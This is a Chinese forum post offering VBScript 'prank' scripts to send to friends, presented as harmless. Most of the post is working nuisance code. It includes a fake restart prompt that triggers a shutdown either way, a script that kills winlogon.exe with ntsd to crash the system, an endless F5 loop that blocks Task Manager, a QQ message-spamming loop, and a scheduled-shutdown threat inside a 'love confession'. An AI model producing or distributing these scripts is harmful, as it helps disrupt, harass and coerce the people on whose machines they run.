马上注册，结交更多好友，享用更多功能，让你轻松玩转社区。
您需要 登录 才可以下载或查看，没有账号？立即注册
x
本帖最后由 莫言 于 2021-10-31 14:39 编辑
发几个VBS整蛊代码，整到你没朋友，快去发给你的好基友吧
恶作剧的vbs代码，这里提供的都是一些死循环或导致系统死机的vbs对机器没坏处，最多关机重启一下就可以了，将下面的任意一段代码保存为*.vbs即可
操作方法：把代码保存为*.VBS运行即可经本人亲自测试 不会出大问题的，一般都是利用无限循环，不是死循环，可以通过任务管理器中结束WSCRIPT或cscript进程即可。复制代码代码如下:
无限制的用英文报数复制代码代码如下:
Set s = CreateObject("sapi.spvoice")
i=0
do
s.speak i i=i+1
loop
复制代码代码如下:、
if MsgBox("对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then
msgbox " 系统将立刻重启wow ~_^",,"你上当了！！"
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 5",,true
end if
复制代码代码如下:
if MsgBox("你是猪头吗？",vbYesNo,"提示")=vbyes then
msgbox "你傻瓜啊!"
else
msgbox "还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?",64,"严重警告!!!!!!!!!"
Set ws = CreateObject("Wscript.Shell")
wscript.sleep 1200
ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide
end if
无限刷新（慎用！！！）刷新难以打开任务管理器，只能强行关机
set ws=createobject("wscript.shell")
do
ws.sendkeys "{f5}"
loop
QQ连续发送信息骚扰好友 打开QQ，准确记下好友的备注，代码里的”菜鸡“替换为你的好友备注，数字”30“替换为你想要发送的次数，复制好你准备发送的消息，双击运行vbs。
On Error Goto 0
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 30
wscript.sleep 100
wsh.AppActivate("菜鸡")
wsh.sendKeys "^v"
wsh.sendKeys "%s"
next
wscript.quit
表白代码
其中用到了定时关机，但是后面会取消的。
Set Seven = WScript.CreateObject("WScript.Shell")
strDesktop = Seven.SpecialFolders("AllUsersDesktop")
set oShellLink = Seven.CreateShortcut(strDesktop & "\Seven.url")
oShellLink.Save
se_key = (MsgBox("我喜欢你很久了，你可以做我女朋友吗 是=同意 否=拒绝 ",4,"我没有开玩笑！！！"))
If se_key=6 Then
MsgBox "谢谢你给了我这次机会，I Love You",64,"Love you"
Else
seven.Run "shutdown.exe -s -t 600"
agn=(MsgBox ("我真的很喜欢你！求你了，别拒绝我，好吗？ 是=同意 否=拒绝",4,"别拒绝我，好吗？"))
If agn=6 Then
seven.Run "shutdown.exe -a"
MsgBox "谢谢你给了我这次机会，I Love You",,"Love you"
WScript.Sleep 500
Else
MsgBox "唉，那 祝你能找到自己喜欢的人，若可回头 记住 我在你身后一直等你！ --爱你的人",64,"祝你幸福！！"
seven.Run "shutdown.exe -a"
MsgBox "其实你拒绝了我，我也不会关你电脑的！因为你是我最重要的人，我不会捉弄你的！",64,"我愿意等你！"
End If
End If
撩妹代码只有再回答出设定好的名字是，循环才会结束
const title = "爱情测试"
const yourname = "小Y"
const question = "你最喜欢的人是谁？请在下面的方框中输入他（她）的名字。"
const info = "你在说谎！不要逃避，实话实说。"
const scend = "你说出了你的心扉，那就向他（她）表白吧。"
dim youranswer
do
youranswer = inputbox(question, title)
if youranswer <> yourname then msgbox info, vbinformation+vbokonly, title
loop until youranswer = yourname
msgbox scend, vbinformation+vbokonly, title
| 
发表于 2021-10-31 14:34:20
置顶卡
变色卡
千斤顶
照妖镜
发表于 2021-10-31 14:34:21
鄂公网安备 42080402000288号